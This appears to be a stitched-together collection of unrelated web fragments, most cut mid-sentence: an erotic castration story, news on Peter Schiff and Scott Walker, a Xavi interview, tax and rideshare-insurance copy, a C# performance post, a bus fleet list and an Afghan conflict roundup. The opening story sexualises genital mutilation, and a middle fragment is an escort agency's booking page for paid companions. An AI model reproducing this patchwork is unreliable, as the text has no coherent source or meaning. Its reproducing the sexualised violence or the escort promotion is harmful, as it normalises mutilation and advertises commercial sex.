bucket was positioned under the Y opening of the table. The young man was looking around at all the strange people around him. Everyone seemed to be inching forward. They were trying to get a good view of what was about to happen. John pushed me forward. "Don't be shy Amy," John whispered. "This is your first castration. Get a good look at it. It will be over in a flash." As John pushed me forward, my eyes met the young black man's eyes. We stared at each other. They moved a stand with some equipment on it over next to the table. Everything seemed to be ready. The black man on the table was staring at me, or more probably at my low cut dress. I was staring at his cock and balls. His cock seemed to be stirring, starting to get erect. Was it sexual excitement at the idea of being castrated, or was it me? I adjusted the front of my dress to show just a teeny bit more cleavage. In the blink of an eye, the guillotine knife

“They’re just looking for words they can put together like a Frankenstein’s monster,” Peter Schiff, finance expert and recent guest of The Daily Show, told Mediaite. “They wanted to put my words together to create a monster that everyone would hate.” Schiff first appeared on The Daily Show in June of 2009 where he joined Jon Stewart for an in-person interview. “I came there expecting him to be hostile,” Schiff said. “He’s liberal and I’m libertarian conservative, so I expected it to be confrontational.” He said he was pleasantly surprised to discover at the time that he was greeted warmly and that the audience was not as hostile to him and his views as he expected. It is with this prior experience that Schiff agreed to sit down for an interview to serve as the opposing view in a debate about increasing the minimum wage. He knew he could be walking into a trap, as he revealed, “but you remain optimistic that maybe it’s not.” And Schiff had reason to be optimistic. A lengthy email he released on Tuesday shows that a The Daily Show producer offered repeated assurances that he would not be taken out of context. “We NEVER edit out of context,” the staffer wrote. “Meaning we never ever show responses to a question we never asked.” “[R]est assured,” the producer repeated. “NOTHING will be edited out of context.” But that is exactly what happened, Schiff said. He called the final product a “hit job.” “I came there with my brother and they refused to let him sit in the room with me,” he told Mediaite. “They said, ‘It’s got to be Peter in the room all by himself.’ That was a clue they didn’t want any witnesses.” Schiff revealed that he sat down with correspondent Samantha Bee for four hours, in which he described at length the political origins of the minimum wage and the adverse effect it has had on youth unemployment and productivity. He says that it was more than three hours into the interview when they finally prompted Schiff to offer the segment’s infamous soundbite. According to Schiff, Bee randomly picked the $2-per-hour wage, and asked just what kind of people would work for that minuscule sum. The financial commentator said there were two types of people who would work for that figure. His first example — a response which was edited out of the package that aired on The Daily Show — were unpaid interns. Interns like the reassuring Daily Show staffer who had revealed to Schiff their prior role before transitioning into a paying job with Comedy Central. RELATED: Peter Schiff Releases Daily Show Email, Accuses Them of ‘Lying’ to Him Schiff says he told the reporter and producers that he was certain the unpaid interns they currently have working on staff would rather be working for $2 than $0, and they may not have been forced to take out tens of thousands in student loans in order to legally qualify for an internship program compensated with college credit. The second group, Schiff said only after a painfully long pause, pleading with Bee for the “politically correct” term, but landing on: “The mentally retarded.” Of course, this response made it into the final package and has resulted in threats to Schiff and his family as a result. “The only word choice that I can regret is actually saying ‘mentally retarded,’” Schiff told Mediaite. “But I only said it because I couldn’t think of the proper word.” However, Schiff does not regret the comment – the mentally disabled are already legally exempt from minimum wage laws. How does Schiff know this? Beyond his expertise on the issue, Schiff revealed to Mediaite that his wife’s 65-year-old aunt suffers from Down syndrome. “She gets $2.50 form the company she works for,” Schiff said. “If the minimum wage applied to the intellectually disabled, none of them would have jobs.” He added that the largest employer of the mentally disabled is Goodwill, a firm which pays some of its disabled employees as little as $0.10 per hour. “I told [Bee] that people who are severely mentally retarded, they’re not working for the money,” he continued. “She asked how they support themselves, and I said they can’t support themselves.” “My wife’s aunt,” Schiff continued, “she’s making a contribution. She has pride. She has meaning in her life. She has something to do

Barcelona Exclusive interview with MARCA Two years have passed since Xavi left Barcelona to move to Qatar, where he played for Al Sadd. MARCA met him in Doha to talk all things Barcelona, while Xavi also opened up on his personal ambitions. You still look like you're enjoying playing football. How is that possible in a league like Qatar's after having won everything in LaLiga? "My body can no longer be at the top level and Qatar allows me to keep playing football. I want to keep playing because football excites me and I'm still competitive. I am going to train and do so happily. The feeling I have when the ball arrives at my feet is wonderful and I have never fallen out of love with the ball. I am going to extend what I can, even if this might be my last year. This league is no party." How did they convince you to come to Qatar? "In 2014 I had two very significant offers, one of which was from New York City in the MLS. So I said to [Josep Maria] Bartomeu and [Andoni] Zubizarreta that I was going to go, but that summer the president phoned my agent and suggested I stay until January, when the MLS season starts. I called Luis Enrique and a week before the pre-season started and I had it clear in my mind that I was going to stay. I liked what Luis Enrique said and I liked his leadership, so I decided to stay. He told me I might not play all the time, but that I could still contribute to the team." So why did you decide not to move to the MLS in the end? "It was because you travel a lot there and there is too much time being away for games. It's a physical and competitive league. It is on the way up and I wanted to drop down a level. In Qatar they could offer work for my whole family, so I spoke to Raul and started to tie it all up." In Qatar they say that you represent the values of sport... "I'm a normal person, who has the education I received from my parents and from Barcelona. At home we respect everybody, we are humble and we are simple. I do not believe in the idea of leaders because I really like to make a team. I think my personality is in line with football, which is a team sport." How have you adapted to the Arabic world? "People from Qatar are more similar [to Spanish people] than Spanish people think. They are good people, hospitable and humble. This country is one of family. I didn't have any idea of what it'd be like because I couldn't have an opinion of something I hadn't lived. It annoys me when there are prejudices about Arabic culture from people who do not know about it." Does it pain you to see Barcelona in their current state? "No, because except from in the Supercopa de Espana they are normally better than the opposition. It's been like that for many years because even last season they were the better team when they played at the Estadio Santiago Bernabeu and they were also more dominant when [playing Real Madrid] at the Camp Nou." How do you view the current Barcelona? "I was part of an era that was so impressive that it now seems as if it's not the same. They play football well, but they could have signed better. They have fallen asleep because five or six years ago they had the best players in the world for the Barcelona system. Now they have five or six players for it, in [Andres] Iniesta, [Jordi] Alba, [Lionel] Messi, [Gerard] Pique, Luis Suarez and [Sergio] Busquets. Yet Barcelona should have 11 players who fit the system. You never used to say "this player would fit in well at Barcelona" because all those players were already there. They have signed players who do not fit the system." Have they ignored the youth academy? "They turn to it, but starting players from the academy is another thing. You need to strengthen it. Whenever there is a moment of doubt, you should turn to what you have in-house. During the best Barcelona era they nourished at least 60 percent of the youth teamers. Thiago, for example, left, as was his right, because they were not giving him opportunities. Yet everyone should be patient as it's the most difficult team in the world [to break in to]." Why is it the most difficult? "Because there is a demand to win and to play well. Real Madrid can win 3-2 in a terrible manner and they'll say they were the best and that it was another Juanito-esque epic comeback. If we win in the 90

GMA/UTMA account can be subject to the “kiddie tax.” As shown earlier, Iit works like this: The first $1,050 in unearned income by the minor is tax-free. Above $1,050 is taxed at the child’s rate, not the parent’s rate. If the income is over $2,100, and the parents are in the 25% tax bracket, then that’s the tax rate that will apply. 529 Plans If you have children, you’ll want to check out the 529 College Savings Plan. There’s no immediate tax benefit to you as the contributor to the plan. But the 529 Plan does allow for tax-deferred accumulation of investment earnings that will enable you to save for your childrens’ college educations. You invest money primarily in mutual funds, and the funds can be withdrawn tax-free when taken for qualified education expenses. In this way, you get an important tax break on the back end when the funds are withdrawn. 529 plans are administered by each individual state. Check and see the details of the plan available in your state. Tips to Pay Your Taxes Paying Taxes on Earned Income If you’re paid by salary, taxes will be withheld and paid to the IRS for you. But, if you’re self-employed or a contractor, you’ll need to set up estimated tax payments. To do that, you’ll first have to make a reasonable estimate of the income you expect to receive during the course of the year. You will also have to make a good estimate of the expenses incurred to produce that income. You will then have to calculate your income tax liability based on your net profit. You’ll also have to pay self-employment tax, which is the self-employed equivalent of the FICA tax. It’s equal to 15.3% of your net profit. That’s in addition to federal income tax. Estimated taxes are due on four dates each year: April 15 June 15 September 15 January 15 of the following year You can make the payments either by completing form IRS 1040-ES, Estimated Tax and mailing it with a check to the United States Treasury or by making your payment online from your bank account through IRS Direct Pay. Paying Federal Income Tax on Retirement or Bonus Income What can you do if you receive a bonus, one large enough to impact your tax situation? Or, how do you handle the tax liability on retirement income? You can avoid the tax liability at filing time by making additional tax payments. There are three ways that you can do this: If the bonus comes early in the year, contact your payroll department and have your withholding tax increased. If it occurs later in the year, make estimated tax payment directly to the IRS. Using IRS Direct Pay you can make a payment using a credit card or directly from your bank account. Ask your retirement plan trustee to withhold income taxes on your distributions, similar to federal withholding on your payroll. If you make an estimated tax payment, do it as soon as you receive your bonus or retirement income. This ensures you will have the money available to pay the tax. Paying it immediately will also eliminate the possibility of interest and penalties. How to Pay Your Taxes Online (with a Credit Card) You can pay your taxes online directly to the IRS, using either a credit or debit card. There is a small fee of $2 to $2.59 if you pay by debit card and just under 2% of the amount paid if you use a credit card. The fees may be a small price to pay if you need to make a quick payment. They will most likely be less than the penalties and interest the IRS will impose on late payments. You can use online payments to pay your remaining tax bill, your estimated taxes, or any other tax due to the IRS. How to Get Your Tax Refund As Soon As Possible The best way to expedite your refund is to e-file your return. You’ll generally get your refund back within two weeks. If you paper file your return, it can take 6 to 8 weeks. So if you’re in a hurry, e-file. To get the refund even quicker, set up direct deposit. You can do that on page 2 of your tax return. It will enable the IRS to get your refund in your bank account without the delay caused by mailing a check. You’ll probably want to avoid instant tax refund offers. This is where tax preparers offer to provide your refund upon the completion of your return

bgeeky) You can watch a few of our past talks on our Youtube Channel! (http://www.youtube.com/whovianist) Read about us in an article at MassLive/Springfield Republican (http://www.masslive.com/news/index.ssf/2014/11/tardis_up_western_massachusett.html)! https://secure.meetupstatic.com/photos/event/1/5/6/d/600_435965485.jpeg Conbust 2015 https://secure.meetupstatic.com/photos/event/1/5/7/b/600_435965499.jpeg Dr. Whollaween https://secure.meetupstatic.com/photos/event/1/5/9/1/600_435965521.jpeg You don't have to have a tattoo or Doctor Who shirt to be in our group but it might get you a pic on our About page! Current and past members: https://secure.meetupstatic.com/photos/event/7/5/1/f/600_436109983.jpeg https://secure.meetupstatic.com/photos/event/1/6/3/c/600_435965692.jpeg Positive Geek (store), Brattleboro, VT: Cassidy made this cool TARDIS mailbox: https://scontent-lga3-1.xx.fbcdn.net/v/t1.0-9/13102712_10208682410115809_8553387387904769242_n.jpg?oh=cb9a6d7b4e00db01710b59fcedcfcf59&oe=57CB0FFC https://scontent-lga3-1.xx.fbcdn.net/v/t1.0-9/13082665_10154181849593833_8086316010636888755_n.jpg?oh=b37c32fb2b6144ab25b0d80ca94f1efd&oe=57D34354 Montague Tardis (near Montague Book Mill, Montague, MA): https://pbs.twimg.com/media/CKy4InbWcAA0M_3.jpg Mount Holyoke College Library, "Cell Phone Zone" (has a working landline phone inside): https://scontent.cdninstagram.com/hphotos-xpa1/t51.2885-15/e15/10665635_738893692850499_775209713_n.jpg Hampshire College, Kern Building, TARDIS Conference Room: https://pbs.twimg.com/media/ChOHF6wW4AAe_tk.jpg Here is Doctor Kubb, a game invented by one of our members (adaptation of Kubb)...we played it at our picnic at Forest Park in Springfield: https://secure.meetupstatic.com/photos/event/5/5/e/5/600_451461989.jpeg https://secure.meetupstatic.com/photos/event/5/5/8/b/600_451461899.jpeg https://secure.meetupstatic.com/photos/event/5/6/8/7/600_451462151.jpeg You can check out our podcast at http://www.IntoTheTimeVortex.com https://3.bp.blogspot.com/-QoXV6_qOrhY/Vku5_d4cG-I/AAAAAAAAJUI/jbV4Ue1SWZw/s1600/akeRP8ODkfLksi35tydSR6IO0fa7HAlF5VEZZGLQxno.jpg Brits R U.S. will be opening in Northampton soon! https://britsrus.com/wp-content/uploads/2015/09/BritsRUs_StoreFront.jpg https://scontent-ord1-1.xx.fbcdn.net/v/t1.0-9/13532763_1157773377599970_8892978657449277599_n.jpg?oh

number public void WhenProvidedAnInvalidInputParserReturnsFailure ( string input ) { Assert. False ( Transforms. Text. LineParser. ParseKeyThenNumbers ( input ). isSuccess ); } } Writing a test first is a future investment that pays off very quickly! I have never regretted writing a test, but the few times I didn’t write a test I had to pay for it later.. Once I have the tests I move the existing parsing logic to a dedicated method: public static ( bool isSuccess, string key, float [] values ) ParseKeyThenNumbers ( string line ) { char [] delimiters = {'', '\t' }; string [] words = line. TrimEnd (). Split ( delimiters ); string key = words [ 0 ]; float [] values = words. Skip ( 1 ). Select ( x => float. TryParse ( x, out var tmp )? tmp : Single. NaN ). ToArray (); if (! values. Contains ( Single. NaN )) return ( true, key, values ); return ( false, null, null ); } Closer look Let’s analyse the code from perf perspective line by line: char[] delimiters = {'', '\t' }; - the array is alocated every time the method is called. It should be moved to a static readonly field. (in the original code it was allocated once per file so it was not that bad) - the array is alocated every time the method is called. It should be moved to a static readonly field. (in the original code it was allocated once per file so it was not that bad) line.TrimEnd - this method allocates new string if the trimming is required - this method allocates new string if the trimming is required Split(delimiters) - this method allocates an array of strings and the strings themselves - this method allocates an array of strings and the strings themselves words.Skip(1).Select(x => float.TryParse(x, out var tmp)? tmp : Single.NaN).ToArray() - every LINQ method allocates an enumerator. Moreover ToArray allocates entire array. Typically it’s not an issue, but here every cycle matters (we are on a very hot path). - every LINQ method allocates an enumerator. Moreover allocates entire array. Typically it’s not an issue, but here every cycle matters (we are on a very hot path). values.Contains(Single.NaN) - contains is O(n), it’s not required here. We should just stop when TryParse returns false. Apply the optimizations If we target.NET Standard 2.0 we can’t use all the methods that accept Span like float.TryParse(ReadOnlySpan<char>) so we just remove the LINQ and move NumberFormatInfo.CurrentInfo outside of the loop: public static ( bool isSuccess, string key, float [] values ) ParseKeyThenNumbers ( string line ) { if ( string. IsNullOrWhiteSpace ( line )) return ( false, null, null ); string [] words = line. TrimEnd (). Split ( _delimiters ); NumberFormatInfo info = NumberFormatInfo. CurrentInfo ; // moved otuside the loop to save 8% of the time float [] values = new float [ words. Length - 1 ]; for ( int i = 1 ; i < words. Length ; i ++) { if ( float. TryParse ( words [ i ], NumberStyles. Float | NumberStyles. AllowThousands, info, out float parsed )) values [ i - 1 ] = parsed ; else return ( false, null, null ); // fail as soon as something is wrong } return ( true, words [ 0 ], values ); } Which gives us following result: Method Mean CV_Multiclass_WikiDetox_WordEmbeddings_OVAAveragedPerceptron_JustParse 141.0 s Which is exactly the 8% we saved by moving NumberFormatInfo.CurrentInfo outside of the loop. I am not happy about the fact that I had to use such trick to make it faster, so I reported an issue in the JIT repo. However, with.NET Standard 2.1 or just.NET Core 2.1+ we can take full advantage of Span! public static ( bool isSuccess, string key, float [] values ) ParseKeyThenNumbers ( string line ) { if ( string. IsNullOrWhiteSpace ( line )) return ( false, null, null ); ReadOnlySpan < char > trimmedLine = line. AsSpan (). TrimEnd (); // TrimEnd creates

NAB is now expecting the market to decline "a touch more" to show a small overall fall in 2018 and 2019 but is not expecting the housing market to crash. Three months ago, NAB was expecting house prices to rise by 0.7 per cent in 2018 and apartment prices to decline 0.9 per cent over the year. Investors pullback Property price data from CoreLogic out on Monday underlined the current weakness in the Australian housing market, with the data series showing that capital city house prices fell almost 2 per cent across the five major capital city markets over the financial year that ended on June 30. During the year, Sydney prices fell a steeper 4.5 per cent for the city's worst price performance since the global financial crisis in 2009. Nationally, prices fell 0.8 per cent over the year and 0.5 per cent over the final quarter, according to the CoreLogic Hedonic Home Value Index. "We saw a pullback in investor activity, both foreign and domestic, over the last year as inevitably leading to price declines, given the importance of this group in the market in recent years," Sarah Hunter of BIS Economics said. In May, Foreign Investment Review Board figures showed that proposed Chinese investment in Australian real estate of all kinds halved to $15.2 billion as internal capital controls and new taxes crimped demand. "What we are more concerned about now, relative to three months ago, is the potential impact of new regulations around lending standards that may follow the conclusion of the royal commission," said Ms Hunter. The royal commission into the financial services sector has swept a devastating path through the banking sector after it started hearing testimony several months ago, with bank lending practices drawing particular scrutiny. 'Strong population growth is preventing house prices from declining too far,' says Stephen Roberts at Laminar Capital. Andrew Quilty Increasing risks Lending standards have already been impacted by the royal commission, according to Capital Economics' Paul Dales. That situation, along with a spike in overseas funding costs and a faster-than-expected fall in house prices over the past three months, has significantly increased the risks to future housing market performance, he believes. The economist said that in his opinion it's now possible that prices could fall by another 5 per cent during the current financial year. Others are not so bearish, however, expecting more moderate declines in a housing market that has climbed by 32 per cent on a national basis over the past five years, according to the CoreLogic data. 'We expect a cooling, not a collapse': Paul Bloxham, HSBC. "We see national housing prices as likely to edge down slightly in 2018 and to be broadly flat in 2019. We expect a soft landing in the housing market. We expect a cooling, not a collapse," said Paul Bloxham at HSBC. Commonwealth Bank's Michael Blythe is expecting prices to fall a bit further but is also optimistic that the market won't see a big drop from these levels. The factors that historically drive large downward moves in housing, including rising unemployment and rising interest rates, are "either not present or still a fair way off", Mr Blythe argued. Population growth key According to the Financial Review economist survey for the final three months of fiscal 2018, economists are now not expecting the Reserve Bank of Australia to hike interest rates until fiscal 2019 at the earliest. Lending standards have already been impacted by the Royal Commission, according to Capital Economics' Paul Dales. Louie Douvis That's a marked change from three months ago, when economists had been pencilling in two interest rate hikes in that period. Economists also underlined that Australia's population growth is expected to continue to support demand for housing in Australia. "Strong population growth is preventing house prices from declining too far," commented Stephen Roberts at Laminar Capital. However, if house prices do continue to slide, then Warryn Robertson, portfolio manager at Lazard, believes the damage could spread beyond the housing market. The property market is key to how overseas investors view the Australian economy and forms part of their decision about whether they will lend to Australia and are happy to hold Australian dollars, he said. If property prices continue to fall or if consumers stop spending and then house prices fall again, that could become a "really nasty cycle", he said.

Elite Travel Companions Please read this page carefully before attempting to book a travel companion with us. It may be a little exhaustive, but includes everything you need to know. Trump International offers elite, discreet and well bred travel companions to accompany you on your business trip, vacation or tour to any major city worldwide. (Five star only) Most of the travel companions are experienced, confident travelers, and they are all able to accommodate the trip with a calm, cheerful attitude. Some cities we can accommodate, among others, will be listed in these locations; USA | EUROPE | OCEANIA/ ASIA | VACATION DESTINATIONS Our ultimate aim is to ensure both you and the model have a wonderful, beautiful experience together. To help select the most appropriate model to join you, we'll consult with you about your preferences, and ensure your perfect woman is available. If we cannot assist you, we will simply let you know, as opposed to sending you anyone who is available. Mediocre experiences are not what we are interested in providing. Whether you seek one or multiple models, we can assist you. We have a world renowned name for providing the finest quality, in every aspect, every time. Our beautiful escort ladies do not rush your time, nor behave with the nonchalant attitude that some other high-priced escorts might. These are first class companions in every way, carefully selected for you. And we don't just say ‘carefully selected’ lightly; Our applicants are taken through a rigorous selection and interview process to ensure they possess the minimum quality requirements we expect, based on our clients’ expectations. We encourage you to make your booking, as you will be delighted with the standard, not just in appearance, but in presence and personality also. Authentic, refined, perfectly lovely women to provide really enjoyable company - as it should be! Please contact us especially if you have been subjected to lower quality experiences previously. :-( We'd like you to experience what you should. We have a 100% guarantee of quality – if the model who arrives is not as stunning and charming as we have promised, you are entitled to politely decline the appointment, and exchange for a different model, at no cost (minus any of the model's transport costs). This rarely happens, as our consultation is quite thorough, and our standards are extremely high. We cater regularly to celebrities, political VIPs and even royalty, all of whom return for the elite quality provided exclusively by Trump International. (If you have met with the model previously, and request her international company, obviously this guarantee does not apply; you will have made an informed choice! Similarly, if you have asked one of our telephonists to select another model for you, guarantees do not apply, as you have taken the selection out of your own hands and relinquished your decision; please see our disclaimer. Rest assured, we are very selective. 100% of the time, if you are a gentleman, she will be a princess. Minimum Travel Time Our minimum travel time is overnight, with at least 3-4 days’ notice, to allow time for consulting and fund transfer. No flights will be purchased until AFTER funds have cleared. It is advised to contact us a minimum of 2 weeks before your preferred travel dates, to ensure there is appropriate time for your selection process, that the model you prefer is available, and to allow time for travel arrangements to be made. 24 hour bookings or weekends away are usually more enjoyable, allowing the models to rest between traveling, and removing the time pressure on you both. We do not cater for last-minute or rushed appointments. A successful gentleman is always organized, so if you can’t book an appointment well in advance, we’re afraid our agency is not for you. We do not like to put unnecessary stress or pressure on the ladies. Travel Companion Procedures Our models are available to travel to any five star hotel or resort in the world, and full funds are required in advance before any arrangements will be made. The models’ fee for her time, and her return airfare can be transferred to our discreet company account. We will confirm with you upon receipt, and purchase the models’ airline ticket to join you, confirming arrival times etc. A hotel vehicle or a professional hire cars with chauffeur is required to be arranged for the models’ collection from the airport, they do not travel in private cars. Concerns As stated earlier, we are very careful in our consultation with you, to ensure the model you select will be the most perfectly suited to your needs. However should you find there is a personality clash or some other issue you are uncomfortable with, please inform us as soon as possible. If you wait til the end of the appointment, then the model’s time has been taken, and there is not much we can do. Initially, as a mature

company’s full commercial liability coverage applies until that ride exits your car. Farmers Rideshare once again applies until you accept your next ride.To learn more about Farmers Rideshare, talk to a Farmers agent today. An agent will make it easy for you to customize a policy that provides you with the coverage you want. Farmers Rideshare is not available for sale online. State Farm Rideshare Insurance State Farm will offer customers a new endorsement in Alabama, Iowa, California, Colorado, Kentucky, Maine, Minnesota, Tennessee, and Wisconsin to cover insurance gaps for policyholders who use personal vehicles to provide rides for transportation network companies like Uber and Lyft. Beginning October 21, 2016, State Farm will offer a Transportation Network Company Driver Coverage endorsement in Connecticut, Delaware, Georgia, Idaho, Indiana, Louisiana, Mississippi, North Dakota, Nebraska, Ohio, Oklahoma, Oregon, Washington and West Virginia. The optional ridesharing endorsement enables policyholders to have their personal auto policy fill in the coverage gaps left by TNC-provided insurance. This endorsement provides the driver with the full liability coverage limits carried on the auto policy during the period of time when the driver is available for hire, and provides the driver with all other coverages applicable to the auto policy during all periods of TNC driving. Arizona Farmers Rideshare Insurance Farmers Rideshare Insurance extends your personal auto insurance coverage through Period 1 until you accept a ride and the rideshare company’s full commercial liability coverage applies in Periods 2 & 3. This policy enables you to select the coverage that fits your needs, including: Comprehensive and collision coverages that pay for damages to your car Uninsured motorist coverage, in case you are hit by a driver who isn’t insured or is underinsured Medical payment and personal injury protection (if required) Farmers Rideshare insurance coverage ends when you accept a ride. The rideshare company’s full commercial liability coverage applies until that ride exits your car. Farmers Rideshare once again applies until you accept your next ride.To learn more about Farmers Rideshare, talk to a Farmers agent today. An agent will make it easy for you to customize a policy that provides you with the coverage you want. Farmers Rideshare is not available for sale online. Farmers Rideshare Insurance extends your personal auto insurance coverage through Period 1 until you accept a ride and the rideshare company’s full commercial liability coverage applies in Periods 2 & 3. This policy enables you to select the coverage that fits your needs, including: Farmers Rideshare insurance coverage ends when you accept a ride. The rideshare company’s full commercial liability coverage applies until that ride exits your car. Farmers Rideshare once again applies until you accept your next ride.To learn more about Farmers Rideshare, talk to a Farmers agent today. An agent will make it easy for you to customize a policy that provides you with the coverage you want. Farmers Rideshare is not available for sale online. Mercury Rideshare Insurance: Mercury's ride-hailing coverage will fill the gaps and provide you with high quality insurance that will not only cover you in Period 1 of the drive cycle, but also provide additional coverage above and beyond your ride-hailing company’s insurance in Periods 2 and 3, too! This means that if you get into an accident and you’re liable, we’ll pay to fix the damage to the other vehicle(s), we’ll pay for any resulting injuries, and we’ll pay to have your vehicle fixed at one of our amazing repair facilities.We are currently available in Arizona, California, Illinois, Nevada and Oklahoma.For more information, visit Mercury's Website. Mercury's ride-hailing coverage will fill the gaps and provide you with high quality insurance that will not only cover you in Period 1 of the drive cycle, but also provide additional coverage above and beyond your ride-hailing company’s insurance in Periods 2 and 3, too! This means that if you get into an accident and you’re liable, we’ll pay to fix the damage to the other vehicle(s), we’ll pay for any resulting injuries, and we’ll pay to have your vehicle fixed at one of our amazing repair facilities.We are currently available in Arizona, California, Illinois, Nevada and Oklahoma.For more information, visit Mercury's Website. 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Wisconsin Gov. Scott Walker (R) on Tuesday warned that his state could see a wave of Democratic victories in the 2018 midterm elections and pressed supporters to "counter" the "Far Left." Walker's comments came after liberal Judge Rebecca Dallet overcame conservative Judge Michael Screnock in the race for a Wisconsin Supreme Court seat on Tuesday night. ADVERTISEMENT "Tonight’s results show we are at risk of a # BlueWave in WI. The Far Left is driven by anger & hatred — we must counter it with optimism & organization," Walker tweeted. "Let’s share our positive story with voters & win in November." "Big government special interests flooded Wisconsin with distorted facts & misinformation," he added in a second tweet. "Next, they'll target me and work to undo our bold reforms. We need to keep moving #WIForward & make sure a #BlueWave of outside special interest money doesn’t take us backward." Tonight’s results show we are at risk of a #BlueWave in WI. The Far Left is driven by anger & hatred -- we must counter it with optimism & organization. Let’s share our positive story with voters & win in November. — Scott Walker (@ScottWalker) April 4, 2018 Big government special interests flooded Wisconsin with distorted facts & misinformation. Next, they'll target me and work to undo our bold reforms. We need to keep moving #WIForward & make sure a #BlueWave of outside special interest money doesn’t take us backward. — Scott Walker (@ScottWalker) April 4, 2018 Wisconsin is working with RECORD-LOW unemployment thanks to our reforms, but the risk of a #BlueWave puts everything in jeopardy – balanced budgets, collective bargaining reforms, $8B in tax cuts, welfare reform & more. — Scott Walker (@ScottWalker) April 4, 2018 The race between Dallet and Screnock was cast by Democrats and Republicans alike as a bellwether for the 2018 midterm elections, with liberal groups seeking to seize on Democratic energy that has emerged following President Trump Donald John TrumpBubba Wallace to be driver of Michael Jordan, Denny Hamlin NASCAR team Graham: GOP will confirm Trump's Supreme Court nominee before the election Southwest Airlines, unions call for six-month extension of government aid MORE's 2016 election. Dallet saw support from a number of liberal groups, including former Attorney General Eric Holder Eric Himpton HolderThe Hill's Campaign Report: Trump's rally risk | Biden ramps up legal team | Biden hits Trump over climate policy Biden campaign forming'special litigation' team ahead of possible voting battle Pompeo, Engel poised for battle in contempt proceedings MORE's National Democratic Redistricting Committee, which poured $165,000 into digital ads in the race. Dallet's win is likely to be touted by liberals as a sign of Democratic momentum in the midterms. The Tuesday night victory was the first for Democrats in an open Wisconsin Supreme Court race since 1995.

for scrap?/?? ROI 2247 Bristol RELL6G RELL-3-2330 - Alexander (B) B52F 341/59 new 9/78; w/d 2/88; to Citybus 2/88; reseated to B51F 2/88; destroyed in Belfast 8/89 and sold for scrap?/?? 2248 ROI 2248 Bristol RELL6G RELL-3-2331 - Alexander (B) B52F 341/54 new 8/78; destroyed in Newry depot 29/2/80 and sold for scrap 3/80 ROI 2248 Bristol RELL6G RELL-3-2331 - Alexander (B) B52F 341/54 new 8/78; destroyed in Newry depot 29/2/80 and sold for scrap 3/80 2249 ROI 2249 Bristol RELL6G RELL-3-2332 - Alexander (B) B52F 341/61 new 12/78; w/d 1/97 and sold for scrap 3/02 ROI 2249 Bristol RELL6G RELL-3-2332 - Alexander (B) B52F 341/61 new 12/78; w/d 1/97 and sold for scrap 3/02 2250 ROI 2250 Bristol RELL6G RELL-3-2333 - Alexander (B) B52F 341/60 new 9/78; w/d 11/99 and sold for scrap 2/04 ROI 2250 Bristol RELL6G RELL-3-2333 - Alexander (B) B52F 341/60 new 9/78; w/d 11/99 and sold for scrap 2/04 2251 ROI 2251 Bristol RELL6G RELL-3-2334 - Alexander (B) B52F 341/62 new 12/78; w/d 11/97 and sold for scrap 9/00 ROI 2251 Bristol RELL6G RELL-3-2334 - Alexander (B) B52F 341/62 new 12/78; w/d 11/97 and sold for scrap 9/00 2252 ROI 2252 Bristol RELL6G RELL-3-2335 - Alexander (B) B52F 341/57 new 9/78; destroyed in Oxford Street 4/87 and sold for scrap 11/87 Rebodied vehicles: /P> 1547 DOI 1547 Leyland PSU3B/4R 7104965 - Alexander (B) B53F 450/4 new 2/72; destroyed in Carnlough 1/74; rebodied Alexander B53F (505/1) 9/78; w/d 10/86 and sold for scrap by 2/88 DOI 1547 Leyland PSU3B/4R 7104965 - Alexander (B) B53F 450/4 new 2/72; destroyed in Carnlough 1/74; rebodied Alexander B53F (505/1) 9/78; w/d 10/86 and sold for scrap by 2/88 1591 SOI 3591 (AOI 1347) Leyland PSU3A/4R UBLE697801 - Alexander (B) B53F 500/2 new 9/78 as a rebuild of no. 1347 ; w/d 3/89; to Irish Transport Trust?/?? **SURVIVOR** Preserved in Ulsterbus livery SOI 3591 Leyland PSU3A/4R UBLE697801 - Alexander (B) B53F 500/2 new 9/78 as a rebuild of no. ; w/d 3/89; to Irish Transport Trust?/?? Preserved in Ulsterbus livery 1692 FOI 1692 Bristol LH6L LH858 - Alexander (B) B45F 838/77 new 2/74; destroyed in Kilrea 10/74; rebodied Alexander (B) B45F 536/1 12/78; driver trainer 1/88 to 6/88; w/d 6/88 and sold for scrap by 5/93 1978 Leopard 107 was painted to advertise the Ballymena Tower Centre, as seen in Bangor on April 26th 1986. Note that the number plate has been moved from above the bumper to below it.(Photo copyright Shane Conway) Preserved 1591 seen in Dublin's Phoenix Park on June 27th 1992 while attending the Dublin Bay rally. The other buses are ex UTA AEC Reliance 234 and Bristol LH 1629.(Photo copyright Shane Conway) 1979 134 ROI 134 Leyland PSU3E/4R 7802589 - Alexander (B) DP49F 360/35 new 2/79; r/r FEZ 8165 11/05;

Defense. Islamic State’s Amaq Agency stated that an SVBIED operation targeted the headquarters of the Afghan Ministry of Finance in the city of Jalalabad, capital of Nangarhar Province. Reports suggest that nine individuals were killed and 36 wounded by the explosion, including civilians and elements of the Afghan National Police. Approximate situation in Nangarhar province (red = Afghan National Security Forces, blue = Islamic Emirate of Afghanistan, and yellow = Islamic State), HD version of this map can be found here. Source: Afganistan Bülteni Herat Province: Islamic Emirate of Afghanistan killed two elements of the Afghan Local Police and destroyed two vehicles in Mir Haider area of Shindand district. Ghor Province: Islamic Emirate of Afghanistan conducted a large-scale operation against the Afghan National Security Forces in Awshan area of Shahrak district. According to the reports, the Islamic Emirate of Afghanistan captured all posts in Awshan area, killing 15 and wounding ten elements of the Afghan National Security Forces in the process. Islamic Emirate of Afghanistan seized seven armored vehicles, two pickups, a Kamaz truck, 50 motorcycles, two DShK heavy machine guns, two PK machine guns, and eight assault rifles from the encounters. Ghazni Province: Islamic Emirate of Afghanistan seized two Afghan National Police’s posts in Khwaja Umari district. Seven elements of the Afghan National Police were killed, as well as two motorcycles and a vehicle destroyed in the encounters. One element of the Islamic Emirate of Afghanistan was killed in the clashes for the posts. Farah Province: Approximate situation in Farah province, HD version of this map can be found here. Source: Afganistan Bülteni Urozgan Province: Afghan National Security Forces killed seven and wounded two elements of the Islamic Emirate of Afghanistan in Chora district. Islamic Emirate of Afghanistan’s snipers killed five elements of the Afghan National Army in Bazar area of Khas Urozgan district. Zabul Province: Afghan National Security Forces killed 34 and wounded nine elements of the Islamic Emirate of Afghanistan in Arghandab district, according to the Afghan Ministry of Defense. Islamic Emirate of Afghanistan overran three Afghan National Army’s checkpoints in Arghandab district, reportedly killing more than 18 soldiers and wounding a dozen more. Helmand Province: Afghan National Security Forces killed eight and wounded three elements of the Islamic Emirate of Afghanistan in Nad Ali and Nawa-I-Barakzayi districts. Islamic Emirate of Afghanistan responded to an Afghan National Security Forces’ attack in Kakarno area of Nawa-I-Barakzayi district, killing and 